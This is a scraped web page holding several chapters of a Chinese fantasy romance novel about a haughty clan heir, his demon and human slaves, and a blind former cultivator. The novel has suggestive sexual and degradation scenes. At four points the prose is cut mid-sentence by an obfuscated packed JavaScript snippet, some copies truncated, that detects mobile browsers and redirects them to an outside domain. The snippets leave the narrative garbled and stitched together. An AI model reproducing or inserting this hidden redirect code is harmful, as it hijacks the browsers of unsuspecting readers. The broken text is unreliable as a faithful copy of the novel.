大概秘境运转由那个空间维系,巢穴一销毁,整个秘境都跟着崩溃,进入其中的所有人都被迫退出。 而司尘化成一只小蝴蝶,停驻在谢妄之肩膀,跟随他们一起出去,落地后变回原先的模样,令崔岫大受震撼。 司尘微笑着打了个招呼,而谢妄之懒得解释,摆摆手踩上随心便走。其余人见状也只得跟上。 待众弟子都回了谢家,崔岫将从秘境获取的天材地宝送去评分。评了两日后,他们毫不意外得分最高,谢妄之的总积分依旧是第一。 颁奖时台下人欣羡嫉妒,谢妄之扫了圈,独不见几个姓裴的人。 演武比赛散场后,崔岫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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酉时,众人准时在醉香楼汇合,一齐用饭。 崔岫话密,负责暖场带动气氛,整场嘴巴没停过,好像什么话题都能插一嘴,酒过三巡后更是恨不得拉着人说一宿。 演武比赛之后,游学基本宣告结束,若有要事,众人交完作业后可自行离开,不必等到正式结课。 问起日后打算,初晴姑娘低下头,温温柔柔道:“初晴志在悬壶济世,听闻北荒瘟疫横行,打算往北探探。” “咦!那不是我家么!”崔岫一拍大腿,大喇喇举杯和初晴姑娘碰了碰,“游学结束后我也要回家一趟,我出来这么久,是时候回去看看我娘了。” 而队中的符修与音修表示之后要继续进修,还要报名另一个世家地界内的秘境试炼。 崔岫一听众人都志向远大,不由嘿嘿一笑,摸了摸自己的后脑勺,讪讪道:“怎、怎么大家方向都这么明确,我就是喜欢打架,没想那么多。要不然,我也再报名一个什么秘境试炼好了。” 谢妄之沉默饮酒,闻言忽然抬起头,道:“人各有志,不必随波逐流。” “啊?”崔岫很明显是有些醉了,眼神发蒙,反应都慢半拍,“那,谢兄你说,我该怎么办?” “回家。”谢妄之言简意赅。 他记起来,话本中写过一段有关崔岫的重要剧情。 游学之后,崔岫家里出事了。 12.第 12 章 众人聊到亥时才散场,谢妄之回去时差人送了热水沐浴。 刚褪去衣物泡进桶中,一只金色蝴蝶便穿过雕花窗棂飞进来,轻盈落到他肩膀。 他懒得管,蝴蝶竟得寸进尺,又落到他唇边,细长触角微颤,碰到他皮肤,感觉有些痒。 “滚出去。”谢妄之抬手,两指毫不客气捏起蝴蝶残缺的翅膀往外丢。 但没过一会儿,蝴蝶又颤颤悠悠飞回来,摇身变回人形,站在浴桶边,手里捏着巾帕,殷勤道:“谢妄之,我来给你擦背。” “不需要。”谢妄之冷漠回。 “可是……”司尘跪下身来,脸颊搭在浴桶边缘,歪着头看他,克制地没往水里瞟,诱哄似的嗓音低柔,“奴隶不就是要做这个的吗?” 谢妄之眉峰一挑,睨了眼司尘。 蝶妖乖顺地跪在地上仰脸看他,眼眸似落日熔金,发丝散落在光洁肩背,似披了身月光,如坠落凡尘的仙子。 “呵。”他微微眯眼,伸手轻抚上对方脸颊,“是谁教你,奴隶就是要做这个的?” “池无月不这么做么?”对方惊讶挑眉。 谢妄之冷哼了声,甩开手没答话。 他从不叫池无月做这种事,而对方也从来没有主动过,笨拙得像块木头。 记忆中,他们唯一出格的那天,他为烦心事喝醉了酒,把池无月叫到房中。 但对方半途便跑了,留他独自泡在冷水中生生捱过,之后还谎称生病,连躲了他好几天。 后来他才知,原来池无月是嫌恶心。 思及此处,他不觉有些恼火,手指攥了起来。 从没有人敢这样叫他扫兴。 “抱歉,别生气,是我想这么做。” 出神之际,他的手忽然被人执起,温热细腻的脸颊贴在他掌心,亲昵又依赖地来回轻蹭。 司尘侧头在他手腕与掌心处各落了一吻,微微偏头看他,模样温顺而诱人,嗓音微哑:“谢妄之,真不行吗?不喜欢我这张脸么?” “……” 谢妄之沉默了会儿,倏然勾唇一笑。 他确实不讨厌这张脸。 那多养一条狗又如何呢? 他伸手缓慢掌住对方后脑,指尖嵌进柔软发丝之中,微微施力,按着对方的头颅往下压。 “进来。” 水波溅荡。 潮湿热气氤氲,润红了双颊,谢妄之手臂搭在浴桶边上,指尖无意识攥紧,低头看着水面银发铺散,如浮萍飘荡,眸光微微涣散。 窗外乌云蔽月,比夜色更深沉的黑影投落在纸窗,扭曲得看不出形状。 * 翌日,兄长忽然把谢妄之喊过去,到地儿才发现是谢家为姓裴的专门安排的住处。 “你啊。” 谢霁刚从屋里头出来,见他到了,眼神复杂,走至他身边抬手按了按他肩膀,力道不轻不重,倒没多说什么,很快走了。 而谢妄之进门才发现裴云峰也在,不由嗤笑了声,抱臂懒散倚在门边,多一步都不肯走:“找我做什么?” 对方坐在桌边自斟自饮,见他不肯进屋,眉心微微一蹙:“站那做什么?不能进来说话?” “多事。”谢妄之轻嗤了声,还是依言走近,撩起袍摆坐在裴云峰对面。 对方替他斟了杯茶,指尖轻推着茶杯送到他面前:“你知道吧,自从见过池无月,我的那三个弟弟,现在还没醒呢。” “这么贪睡?”谢妄之轻点了点桌案,闻言眉峰微挑,“没找医师看过么?” “自然看过,你以为呢?” 裴云峰似是想起什么,冷笑了声,“他们反复梦魇,若是强行唤醒,轻则痴傻,重则殒命。便是自行醒来,修为也会倒退许多,此后再难进境,医师也束手无策。” “……”谢妄之沉默了会,“我先前便说过吧,别去招他。” 对方冷笑:“这就是你一直把他藏着掖着,不让我见他的理由?难道不是因为你们——” “不让你见吧,你不乐意,这下终于见到了,那你满意了?” 谢妄之猛然打断对方,拍了下手又摊开,见对方面色不豫,只好收手道:“那你说吧,你想要谢家怎么赔?” “谢家?”裴云峰轻声重复,意味不明地勾唇笑了一下,“你以为谢霁为何找你过来?” 谢妄之会意,立即改口:“你想要我怎么赔?” 裴云峰微微眯眼,言简意赅道:“把他赶走。” “……就这?”听对方语气认真,谢妄之错愕挑眉,“他们可是你弟弟。” “他们是妾室所出,天资平平,心胸狭隘,若是放任不管,迟早也会酿成大祸,便是废了也无所谓。”裴云峰语气冷静,近乎冷血。 谢妄之怔了一瞬,随即勾唇嘲弄:“真该让别人也听听,这是传言中‘宽厚仁慈’的裴家少家主会说出来的话吗?” 对方沉默没应,谢妄之自讨没趣,扭头冷哼了声,干脆道:“不要。” 裴云峰面色更沉,咬牙一字一顿重复道:“要么把他赶走,要么由我杀了他。” 谢妄之见状也有些恼了,冷笑了声道:“呵,这句话说了三年,你还真是锲而不舍。你没说厌,我的耳朵都要起茧了。不就是养了条狗,你那么较真做什么?” “呵,你也跟我说过,只是一条狗而已,玩玩罢了,那你跟谁玩不是玩,非要留着他?!” 对方神色激动,说着便猛地站起身,居高临下地指责质问,嗓音却微微沙哑,眼尾泛红,模样看起来竟有些委屈。 “你收他做奴隶便罢了,为何不让我见他?不就是怕我多想么?你跟他是玩玩,那跟我呢?谢妄之,我们认识这么多年,你待我有几分真心?” “我也想问呢。”谢妄之勾唇冷笑,抱起双臂,微抬下颌原封不动将话还了回去,“裴云峰,我们认识那么多年,你待我有几分真心?” 面前人神色微怔,似是有些不解,薄唇抿成一条细线。 谢妄之笑起来,脊背后靠,虽是坐着,气势却未矮上半分:“我是第一,你是第二,你敢说,你从未嫉妒过我?” 他清晰记得,在梦中,他被剜出剑骨,已是裴家家主的裴云峰,投了赞成的一票。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673772|155977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 闻言,裴云峰神色有些慌乱,撑在桌上的手急忙去摸他手背,辩解道:“我只是,想离你近一些。” 谢妄之气笑了,也跟着站起身,伸手掌住对方后脑猛地压向自己,紧盯着对方双眼,咬牙切齿问:“离我多近才叫近?这样够吗?你以为我会相信你?” 似是猝不及防,对方微微睁大了眼,却没反抗,气势软下来,近乎哀求地问:“那要怎么做你才会相信我?” “呵,简单啊。”谢妄之伸手在人脸上轻抚,随即勾起对方下颌,笑容恶劣,“让我也在裴少家主的脸上刻个奴印如何?” “……” 见对方沉默地抿起嘴唇,谢妄之冷笑了声,甩手松开对方,毫不犹豫往外走。 裴云峰站在原地,抬手轻轻摸自己的脸,似在回味方才对方手指停留的触感,长睫低垂遮去眸中幽暗。俊美面容一半隐在阴翳之中,更显阴鸷。 与传言中的“宽厚仁慈”截然相反,真正的他自私、狭隘。 他不只是想离谢妄之近一点。他想把鸟儿困起来。 窗边一缕黑雾慢悠悠散去。 * 之后几日,裴云峰没再来烦他,而游学也很快结束,谢妄之乐得清闲,竟感觉有些无聊,便向谢霁请辞,说要去北荒历练。 谢霁没有反对,只叮嘱一句“注意安全”。 于是谢妄之紧随崔岫的脚步前往北荒。 越往北走,气候越干旱,植被越稀疏,直到能望见一片无边无际的大漠。 北荒常有极端天气,人迹罕至,妖魔横行,由五大世家之一的“白家”统辖镇守,派遣世家子弟驻守在各个危险区域。 一处边陲小镇,刚经过一场可怖的沙尘暴,街上没有行人,只有一地狼藉。 过了许久,才有一名中年妇女拄着拐杖,摸索着颤巍巍开了门出来。 她步履蹒跚,一步一步都要用拐杖去探前方的路,忽然碰到什么坚硬事物,手里的拐杖也没拿稳,竟一下把拐杖碰倒。 “哎呀,我的拐杖!你在哪儿?我的好拐杖,你快出来呀。” 她急忙蹲下身,从自己身边慢慢往远处摸,明明听声音是掉在附近,手指却怎么都摸不到,不由急得满头大汗,竟开始哀求一个死物自己现身。 过了会儿,似是有人靠近,搀扶着她站起身。她下意识反手抓住对方,顺着对方的手臂往上摸索,边摸边道:“好心人,谢谢你呀,你是谁?” 对方没应声,忙把自己的衣袖往下扯。 大娘摸索着对方手臂粗细与高度位置,忽然惊声道:“崔岫,是你吗?我儿,你回来了?” 对方轻咳了声才应道:“咳,是、是我,娘亲。”说着把拐杖给人递过去。 大娘闻言一下湿了眼眶,一面拄着拐杖,一面拉着崔岫往家的方向去,又是数落又是心疼:“你怕是都不记得你还有个娘了,去这么久了才晓得回来。你看看你都瘦了……” “嗯,嗯,我错了,娘别生气。” “你呀!” 大娘轻轻笑了下,没看见“崔岫”身后竟有一条尾巴。 13.第 13 章 “崔岫,你过来帮我一下。” 进屋之后,大娘拉着它问了些话,它含含糊糊勉强应了两句,最后说自己饿了逃避话题。于是对方立即起身去给它做饭。 大娘眼睛看不见,却在灶房忙前忙后,动作干脆利落得丝毫看不出身上有不便处,与方才在屋外可怜无助的模样简直判若两人。 “崔岫”闻声抬起头,兜帽从脑袋上滑落,露出两只受惊般轻微抖动的三角耳,覆着一层土黄色的毛发。原是一只小犬妖。 它下意识伸手要将兜帽重新戴上,想到大娘看不见,便又轻舒口气,停住动作。 “娘,要我做什么?” 它应了声,从后面靠近,鼻尖微微耸动,嗅到大娘身上散发的一股特殊气味。 这股味道,它从前在快要死去的同类身上闻到过,浅淡、酸涩,令人难过。 而它正是因为嗅到这股气味,才接近大娘。 它饿太久了,饿得眼前发绿,看不清路,晕乎乎一头倒进行商队伍的板车里。 行商人竟没看见它,大黑布一罩,把它拉进了人类的城镇。本以为定要被白家的修士逮住,未想白家人也没发现它,等到板车停下,它飞速跳车逃了,沿路一直走到这处。 它才刚学会化形,实在太弱了,藏不住耳朵和尾巴,身上还有些稀疏的毛发。它杀不了人,那等这个人死了,它总归能填饱肚子的。 “帮我把这些倒进锅里。” 大娘用菜刀拨过一堆切好的肉片、萝卜丁,各个厚薄适中、大小均匀,看得出刀工精湛。 小犬妖没用过人类的锅灶,瞅着旁边一锅吐着泡泡的沸水,还有一锅热着油的,心里有些发怵,也不知道该把那些东西放进哪个锅里,又不敢张嘴问,怕自己问得太简单,露出破绽。 思来想去,它决定随便丢进一口锅里。 ……反正煮出来的东西应该差不多吧?而且对方也看不见。 它刚想伸手拢起来,指尖还没碰到,先被大娘打了一下手背:“不干不净的,先洗手去!” “好、好的!”它忙缩回手,虽不知道洗手是为什么,但还是听话地左顾右盼去找水,下意识开口问,“在哪里洗啊?” 问出声后,它立刻觉得要糟,未想到对方没什么反应,只是继续切菜,嘴上嗔怪道:“出门左转就能看见水缸了,位置你从小到大都没变过,不就是出了趟门,怎么连这都忘了?” 小犬妖没敢应,怕说错话,全然忘记自己是只会吃人的妖,呆呆傻傻地按着指示去水缸边舀了勺清水洗手又回来,两只手将菜拢了拢,尽数丢进那口热着油的锅里。 下一刻,锅里滋啦啦地往外喷溅出汁水,吓得它猛往后退,尾巴毛都炸起来,喉里本能滚出沉闷的响。 “哎,真是笨手笨脚,去去去。” 大娘笑骂一句,将它赶出了灶房。待犬妖一走,她很快收敛神色,伸手轻抚了抚胸口。 那里贴着一张不到万不得已不能用的符箓。 小犬妖还捧着被热油溅到的手指惊魂未定,忽然嗅到一股奇异的肉香。回头一看,发现大娘已经端着吃食回来摆上桌案,一边招呼着它过去,动作熟稔得不像目盲。 它依言坐下,看着眼前一碗白米饭和一双筷子,不知从何下手,索性直接伸出爪子要去抓菜盘子里的肉。 而大娘一手拿着筷子,另手摸索着盘子往它的方向推了推,道:“你肯定饿坏了,多吃点。” 小犬妖毫不客气地抓了一大把放进嘴里,狼吞虎咽,没吃出什么味儿,被烫到了也不在乎。 整盘菜被它一爪子弄得乱糟糟,还有好些掉在桌上,十分埋汰。而大娘摸索着艰难地夹盘子里的菜,半天夹不上一块,光夹空气去了。 小犬妖余光瞥见,动作一顿,垂头看着自己的手若有所思。 接着,它将手往身上擦了擦,学着对方的模样拿起筷子,却半天不会用,只好用另手把菜往对方筷子底下拢了拢,别扭道:“娘,你也多吃点。” “好好好。”大娘惊讶地挑眉,将快要滑出袖口的符箓往里塞了塞。 * “三间房。” “两间。” “三间。” “两间!” 池无月抿起嘴唇,面色不善地盯着客栈掌柜。 “呃……” 客栈掌柜看着面前两位争来争去的谪仙般的人物,抹了把脑门的细汗,本要说什么,清明眼神忽然朦胧一瞬,紧接着便道:“二位客官不必争,小店里只剩两间房了。” 池无月面色更沉,转头剜了眼身边的蝶妖。 “看我干什么,”司尘无辜地耸了耸肩膀,淡金色的眼眸却还残留着未退却的橙红,似落日熔金,“没听见人家说什么吗?” 说罢,他没再管池无月,振翅往楼上飞去,轻盈落在谢妄之身边,把脑袋凑过去挨着人肩膀,软声撒娇道:“谢妄之,你在做什么?” “没骨头么?” 谢妄之冷漠地应了句,却没把人推开,又给自己斟了杯茶,凝神细听周遭的动静。 “嗯嗯。”蝶妖愈发没骨头地靠着他,脸颊埋在他颈窝里贪婪嗅闻,又悄悄把手圈上谢妄之的腰。 崔岫走得太快,他们没赶上,索性慢下步子一路北上,正步入白家统辖的地界。 北荒妖魔横行,虽然危险,却是历练的好去处,对于连进入秘境试炼都得找相应世家报名才有机会参与的散修更是如此。 这家客栈的大堂便聚集了好些散修,一边大快朵颐一边谈论着什么。 忽有一人环顾左右,放轻了声音:“你听说了么?前不久发生了件怪事儿。临光村上下几百口人,一夜之间全给妖魔屠戮干净了,那场面……”说到此处,他忍不住搓了搓手臂。 “杀了几百人?那可是大妖啊!”坐他对面的人惊呼一声,“临光村在哪啊,白家没派人去捉妖么?” “唉,你问到点子上了。”那人称赞点头,“临光村是离主家远了些,但村子附近就有白家人驻守啊,结果根本没人去!” “啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14694957|155977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”对方傻眼了,随即义愤填膺,猛地一拍桌子,“什么意思!白家人故意见死不救吗?我就说这些个世家,从来没把我们的命当命!真是欺人太甚!” 闻言,那人面色陡变,忙竖指“嘘”了声,又焦急环顾左右,见无人在意他们,这才微舒口气,把嗓音压得更低: “兄弟你这么激动干什么呢!就、就算他们再那什么,这话咱可不能乱说啊!” “啧,本来就是!还敢做不敢当了还!” 经过提醒,对方稍微冷静了些,但仍是气得脸红脖子粗,接着对人倒了好一番苦水,说自己受到了哪个世家公子小姐的欺压云云。 谢妄之又听了会儿,微微哂笑,没再注意。 修仙界中,五大世家几乎垄断所有资源,小门小派也各有依附,散修只得夹在其中艰难生存,双方积怨已久。 他记得话本中提过,这一出“临光村几百口人被妖魔屠戮,而世家无人出手相帮”的戏,便是由散修自导自演,他们的目的也很明显。 而话本最后的结局是,主角加入散修阵营,亲手创立仙盟,建立新秩序,打破了世家垄断资源的霸权局面。 他们这些个世家失去所有,迫于威胁,也只得对这个仙盟盟主俯首称臣。 虽然这段剧情比印象中的提前了些,但…… 这并不妨碍未来的仙盟盟主,现在以及将来,只会是他踩在脚下的一条狗。 谢妄之在心中冷笑。 说主角,主角到。 “公子。”池无月安排完,上楼来到谢妄之身边。 见到蝶妖亲昵地倚着谢妄之的肩膀,就差倒在人怀中,还朝他挑衅一笑,而谢妄之显然默许,当即不悦眯眼,攥紧双拳,却又强自捺下不满,低垂着头等谢妄之的指示。 自从谢妄之说过他“不听话”,他再不敢自作主张,听话得就差把“谢妄之的狗”这几个字纹脑门上。 当然,只是表面如此。 谢妄之抬眸瞥了眼池无月,忽然将茶杯往桌上一放,微抬下颌道:“跪下,给本公子捏腿。” 谢妄之从前带池无月出门,从未让对方在外头跪下过。而此番池无月若要给他捏腿,势必要钻到桌子底下。而周遭人来人往的,这比简单的跪下,羞辱意味更甚。 余光瞥见少年僵着身体不动,垂在身侧的双手攥成了拳,谢妄之恶劣地勾唇一笑:“怎么?不愿意么?” “没……” 少年轻轻摇了下头,出口的嗓音莫名有些沙哑,接着当真跪下身,钻到桌子底下,膝行到他脚边。 与此同时,店小二也送来吃食,一一摆上桌案。他显然注意到这桌的贵公子,大庭广众之下,身边倚着一个美人,方才桌子底下又钻进去一个,不知要干些什么不可示人的,眼神有些古怪复杂。 谢妄之浑不在意,当即动筷。 边上的司尘默不作声,低垂长睫掩去眸中幽暗。 而桌子底下的池无月,颤抖着指尖去碰谢妄之的腿,呼吸陡然粗重,兴奋得快疯了。 14.第 14 章 谢妄之刚吃了口,便感觉小腿传来一阵酥麻。 他不由低下头看,正见池无月跪在他脚边,双手揉按着他的小腿,神色专注,长睫低垂,似有所觉般掀帘看他,轻声问:“公子舒服么?这样的力道可以吗?” “谢妄之,你尝尝这个。” 他还没应,一筷子鲜嫩鱼肉忽然递到他嘴边,诱人的香气令他下意识张嘴吃进去,不经意含了下筷子尖。 “好吃吧。”司尘伸回筷子,放到嘴里轻轻抿了一下,似是回味,眼眸愉悦眯起。 谢妄之应了声“嗯”。 “……” 桌子底下的池无月见状面色微沉,手指缓慢往上,动作逐渐透出难言的撩人意味。 谢妄之的双腿笔直修长,肌肉紧致匀称,触感坚硬而有弹性。按到腿根时,对方微微僵了一下,随后伸手按住他的发顶,力道不轻不重。 他分不清这是什么意思,只感觉呼吸猛然一滞,喉咙处涌上难耐的焦渴,令他忍不住吞咽,顶着对方的压力,缓慢往前倾身。 墨色绸面绣着青竹,似被雨水淋洗,碧叶洇湿了一小片,色泽微深,又发起皱,纹路凸起。 头顶力道猛然加重,手指嵌入他发间,无意识地攥紧,有些刺痛。而他浑然不觉,似沙漠中骤逢甘霖的旅人,只知贪婪吞咽。 “谢妄之,你怎么不吃了?是饭菜不合胃口么?” 谢妄之不知不觉停下了动作,盯着满桌子佳肴微微出神。边上的司尘靠坐过来,状似关心,桌子下的腿却狠狠朝池无月踹了过去。 “那尝尝这杯酒吧,酸酸甜甜,很好喝的。” 接着,不等人答话,司尘又给人斟了杯酒,喂到谢妄之唇边,另手假借喂酒之由,重新搂上他的腰。 谢妄之避无可避,只好低下头就着司尘的手喝酒。 垂下视线的瞬间,桌子下的少年正好仰起头,湿润的唇沾着水光,未及吞咽的口涎拉成细丝,挂在下颌,望过来的眼神柔软似水。 他不由一顿,清亮酒水立时从唇边溢出,沿着下颌淌落脖颈,甚至濡湿了胸前衣襟。 “抱歉抱歉,是我喂得太急了。” 司尘忙放下酒杯,掏出干净的巾帕给他擦拭,从唇边一路往下,淡金眼眸似笼了层阴翳。 正要擦到胸口,谢妄之伸手拦住:“不必擦了。” 而底下的池无月正要继续,忽然被拽住头发往后一扯,迫使他抬起头。他眨了眨眼,顺势看去,装作人畜无害的模样,不解出声:“公子?” “够了。”谢妄之却看也未看,冷着脸踢了他一脚。 “是。” 池无月不敢忤逆,乖乖应声,意犹未尽伸舌轻舔嘴唇,从桌子底下钻出,正对上司尘幽暗的目光。他微微勾唇,淡然坐在谢妄之另一边。 未想到谢妄之霍然起身,将他们两人撇下:“你们慢用。” * 沐浴过后,谢妄之坐在桌边擦拭头发,房门忽被轻轻叩响:“公子。” “进。” 谢妄之眉心微蹙,犹豫了一瞬还是开口。却见少年进屋,反手将屋门闩上,不由微微眯眼:“来做什么?” 对方几步走近,又跪在他脚边,恭敬低下头,乌发垂落,露出一片雪白后颈:“奴侍候不周,惹公子生气,特来请罪。” “请罪?” 谢妄之哂笑,伸手掐着池无月的下颌迫人抬头,正对上少年湿润炽热的目光,随后毫无预兆猛地扬手扇了对方一巴掌。 他咬牙切齿:“谁给你的胆子?” 在大堂里,其实他只是想羞辱池无月,未想到竟是羊入虎口。一桌三人吃饭,两人醉翁之意不在酒。 这令他一下子想起先前被这两人轻薄的时候,虽然他平时并不排斥这种行为,但他不喜欢这种不是由自己掌控的感觉。 同时,他也没有大庭广众下做这种事的癖好,贱奴却一再撩拨,甚至当真令他松懈,不由恼羞成怒。本来揭过便好,贱奴却非要提起,更令他恼怒。 “公子……” 少年被他打得偏过头,很快又转回脸看他,面上不见恼色,甚至双颊润红,喉头轻滚几下,温软嗓音微哑。 接着往前膝行两步,几乎挨着他的腿,伸手轻轻攥住他的衣摆左右晃了晃,嗓音更低哑,像是撒娇又像是哀求,“奴能做得比他更好,比所有人都好。” 说着,少年尽力挺起身体,仰起头,双手抓着他的衣袖攀缘向上,吐息粗重灼热,似想靠近他怀中,亲吻他的喉结。 脑后乌发一瞬间汹涌变长,在身后铺散,双眸似浸入墨汁,比夜色更深重。整个人犹如水里钻出的鬼魅,要将他拖入巢穴。 “哦?”谢妄之坐着没动,闻言眉峰微挑,勾唇冷笑,“看来你都知道了?” 少年轻轻点头,眸色更深,从眼眶往外蔓延出黑色的丝线,蛛网般纵横交错,容色艳丽而诡异。 “那怎么办?”谢妄之唇边笑意更深,伸手轻抚上对方的侧脸,眼神却寒凉,“你也想要?” “谢妄之……” 池无月呼吸陡然粗重,双眸颤动着睁大,情不自禁唤谢妄之的名字,攥住对方衣襟的双手猛然收紧。 他正欲贴得更近,忽被一只手毫不留情推开,猝不及防间,身躯猛然往后跌坐。 随后,一只光裸的足踩在他肩膀,脚掌顺着胸膛滑落,用力往下碾。 “唔……” 他没有挣扎,只是低低哼了声,只觉喉咙更加焦渴,难耐的燥热几欲令他晕眩。 他强捺下兴奋抬起头,却对上冰冷讥嘲的目光: “可是我嫌恶心呢。” 谢妄之抱起双臂,唇角牵起,衬着英俊眉目,笑容恶劣却透出难言的欲色。 瞧瞧,这就是未来的仙盟盟主。 要他俯首称臣? 休想。 盟主之位,既然池无月能坐得,他谢妄之凭什么坐不得? 他伸脚又是一踢,轻蔑勾唇,“滚吧。” * 近日,小犬妖在大娘身上嗅到的那股气味越发浓郁了。 与此同时,也不知是什么原因,大娘近日对它的态度大不如前,嫌弃又不耐烦。虽然它能嗅得出大娘对它并无恶意,但也有些令它窝火。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14711252|155977||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >又失手摔碎一个碟子,小犬妖下意识蹲身收拾。而大娘立即闻声赶来,斥它笨手笨脚,说它回来家里以后,一天天啥事不干,净给她添乱。 “……对不起。”小犬妖忍了忍,乖乖低头认错,发顶的耳朵都耷拉下来,有些委屈,“娘别生气。” 大概是因为它认错态度良好,大娘不再咄咄逼人,接着又问:“你拿手去碰没有?不能碰哦,去拿扫把来。” “好。” 小犬妖依言照做,经过大娘身边时,鼻尖微微耸动,嗅到一股血腥气。 但它没问,乖乖去拿扫把与畚斗回来,将碎瓷片收拾干净。虽然学了几天,但它还不太会用,只能尽量扫得仔细一些。 而大娘坐在一边,忽然咳嗽起来,拿巾帕捂住嘴。等她放下手时,小犬妖注意到巾帕上面沾有一道新鲜的血迹,与之前的重叠在一起。 那股气味又浓重了些,小犬妖忍不住低下头,耳朵与尾巴都垂着。 接着,大娘忽然长叹了声,空洞的双眼望着某处出神,开始追忆往昔: “……唉,遥想当年,老娘我也是一人一剑走南闯北,四处斩妖除魔,谁见了我都得尊称一句‘崔仙师’,若不是为了捉拿那只大妖……唉,现在年纪大了,身体不中用了,做什么事都束手束脚……” 小犬妖安静听着,忍不住抬头仔细看了看崔大娘。 与妖族相比,大娘年纪并不大,岁月只为她的鬓发染上华霜。除却一双瞎眼空洞无神,眉眼间依稀可见当年的锋芒,好似还能瞧见她挥剑的飒爽。 听大娘讲这些,它倒不是不乐意,只是心中隐隐有些不安。 紧接着,崔大娘忽然抬手招它过去:“来,坐到近前来,娘有话与你说。” 小犬妖顿时有些犹豫,但到底还是靠过去,忽被一把抓住手臂,向下用力扯,似是要让它蹲下。 这个高度距离,对方抬手能摸到它发顶的犬耳,很容易暴露它的身份。可转念一想,崔大娘都是快要死去的人了,便是让她知道自己的身份又如何? 于是它乖乖蹲下,结果就被崔大娘两手捧住脸,接着顺势揪住了它的耳朵。 “娘!”它大惊,下意识叫出了声,尾巴毛都炸起来。 未想对方早有预料,笑眯眯道:“你这小妖还挺乖,还叫我娘呢。” “你、你什么时候发现的?” 对方话音未落,小犬妖便从人身上嗅到一股修者特有的气味,好像不好惹。而且耳朵是它的软肋,它不敢乱动。 “从你叫我娘开始就怀疑你了,”崔大娘双手揪着它的耳朵,又摸它的脑袋安抚,“别紧张,我只是想拜托你一件事。” 小犬妖却放松不下来:“什、什么事?” “唉……”崔大娘又叹了口气,神色黯然,“我听说你们妖都能闻出将死之人的气味,是这样吧?” 小犬妖想点头,可耳朵被人牢牢揪在手里,只好应了声“对”。 “既然如此,我也不与你废话了。” 崔大娘轻轻点头,又深吸口气,似是下了某种决心,随后正色道:“我希望你能与我决斗,而后杀了我。” 15.第 15 章 “为什么?”小犬妖睁大眼,有些为难。 它妖力太弱,或许杀不死崔大娘。而更重要的是,它下不了手。 经过这段时间相处,崔大娘待它好,它也一直喊着“娘”,或许心里已将对方看作自己的亲人。 崔大娘微微一笑,来回抚摸它的脑袋,眯着眼继续追忆: “我还小的时候,家人尽数被妖魔杀害,我也险些被它吃掉,幸得师父相救,还允我跟从她修炼。师父嫉恶如仇,我自小耳濡目染,也将斩妖除魔视作己任……” 她自幼天赋卓绝,修为超群,跟随师父成功捉拿妖邪,或是修为进境,是她平生最快乐的时候。 忽有一日,她们遇上一只大妖,强大到令人本能地恐惧,以她们二人的修为根本应付不了,身体难以自制地发抖,灵力运转都滞涩。 她心生退却之意,出招都犹豫。师父却迎难而上,视死如归,最后散尽修为,与那大妖同归于尽,护得身后徒弟与百姓周全。 直到师父的鲜血喷溅在脸上,烫得她发抖,她才恍然惊觉: 原来她与师父不同,她并非真正将斩妖除魔视作己任,她只是享受除妖之后被人称赞爱戴,与修为进境时受人艳羡的虚荣快感。 原来她从未走出家人被害,自己独自面对妖魔的那个夜晚。即便修炼有成,她依旧如从前一般怯懦。 所以面对大妖时,师父在想着如何战胜它,而她在想着如何临阵脱逃。 人人都道师父有个好徒弟,可实际她从未得到师父真传。若她也拼尽全力,师父不见得会死。是她害死了师父。 醒悟的她,一人一剑闯荡天下,成了不要命的疯子,见妖杀妖,遇魔斩魔。 人人敬她一声“崔仙师”,将她与师父齐名,她却心无波澜,甚至觉得自己不配,只期盼有朝一日死在妖魔手下,随师父而去。 她偏执得近乎入魔。 再后来,她捡到了被遗弃的崔岫。出于不忍,她将小孩儿养在身边,而年少时的偏执竟也在照顾小孩儿的繁琐日常中逐渐忘却,甚至得到治愈。 她像师父教导自己一样教导崔岫,好似这样能弥补什么。直到雏鸟羽翼渐丰,终于离开安全的巢穴,飞向辽阔天空。 永远有人正在年轻,会踏上她曾经的路。尽管不舍,她并未阻拦,甚至被那样蓬勃的朝气感染,她又开始向往。 可此时的她,由于早年太过疯狂,身体埋下太多隐患,终于被各种病痛缠上,药石无功,别说斩妖除魔,便连正常生活都困难。 她至今清晰记得双目失明以后,初次依靠拐杖摸索探路的焦躁与恐慌,更无法忍受遇到困难时,自己无法解决,只能等待他人相助的无力与挫败。 